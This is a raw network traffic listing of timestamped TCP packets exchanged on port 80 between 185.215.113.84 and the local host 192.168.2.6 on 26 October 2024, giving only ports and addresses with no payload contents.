Oct 26, 2024 07:27:10.574198961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574217081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574224949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574238062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574240923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574244976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574253082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574264050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574302912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574369907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574383020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574393988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574407101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574421883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574443102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574448109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574448109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574448109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574459076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574465990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574469090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574470997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574496031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574510098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574522018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574529886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574533939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574547052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574549913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574559927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574573994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574579954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574579954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574589968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574600935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574604034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.574625969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.574677944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575166941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575186014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575201035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575211048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575212955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575221062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575228930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575244904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575253963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575274944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575277090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575289965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575305939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575320005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575324059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575326920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575340033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575349092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575371981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575382948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575391054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575396061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575407028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575419903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.575419903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575433969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.575460911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.615144968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.615169048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.615181923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.615200043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.615243912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.684798956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.684817076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.684829950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.684839964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.684920073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.684947014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719374895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719398975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719409943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719424009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719433069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719436884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719445944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719451904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719460964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719482899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719511032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719656944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719696045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719703913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719707966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719719887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719739914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719762087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719844103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719855070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719866037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719887972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719887972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719907045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719909906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719923019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719934940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719940901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719954014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719955921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719973087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719981909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.719985962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.719997883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720010042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720010996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720020056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720036983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720037937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720052004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720058918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720066071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720077991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720078945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720093012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720103979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720110893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720115900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720135927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720156908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720168114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720180035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720190048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720206976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720207930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720227003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720237970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720247984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720252037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720258951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720259905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720271111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720289946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720293045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720308065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720314980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720316887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720321894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720324993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720329046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720335007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720340967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720346928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720349073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720350027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720361948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720372915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720381021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720388889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720402002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720424891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720442057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720458031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720469952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720479965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720479965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720491886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720504999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720530987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720535040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720544100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720556021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720567942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720571995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720580101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720599890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720609903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720623016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720624924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720633984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720664978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720693111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720695972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720707893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720717907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720736980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720736980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720752001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720760107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720762968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720776081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720784903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720797062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720807076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720813036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720818043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720828056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720837116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720871925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720880032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.720920086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.720973015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721010923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721014977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721028090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721050978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721055984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721067905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721070051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721092939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721105099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721121073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721132994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721143007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721169949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721174002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721174002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721183062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721189976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721196890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721208096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721214056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721224070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721244097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721251011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721256018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721268892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721285105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721293926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721321106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721390009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721401930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721417904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721426964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721427917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721450090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721453905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721462965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721473932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721483946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721493006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721504927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721509933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721517086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721534967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721538067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721548080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721556902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721558094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721570969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721576929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721585035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721596003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721606016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721609116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721622944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721633911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721635103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721653938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721658945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721673965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721682072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721685886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721699953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721710920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721710920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721724033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721735954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721735954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721750975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721759081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721765041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721776009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721785069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721801043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721807003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721812963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721823931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721827030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721839905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721851110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721882105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721904039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721915960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721926928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721940994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721944094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721959114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721966982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721971035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721988916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.721990108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.721999884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722011089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722018957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722032070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722047091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722052097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722060919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722071886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722074032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722083092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722096920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722100019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722127914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722147942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722147942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722158909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722177982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722186089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722189903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722203970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722223043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722224951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722234964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722246885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722263098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722287893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722305059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722316027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722332954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722340107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722345114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722357988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722366095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722371101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722385883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722388029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722402096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722407103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722419024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722420931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722431898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722445011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722455978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722457886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722467899 CEST	80	49991	185.215.113.84	192.168.2.6
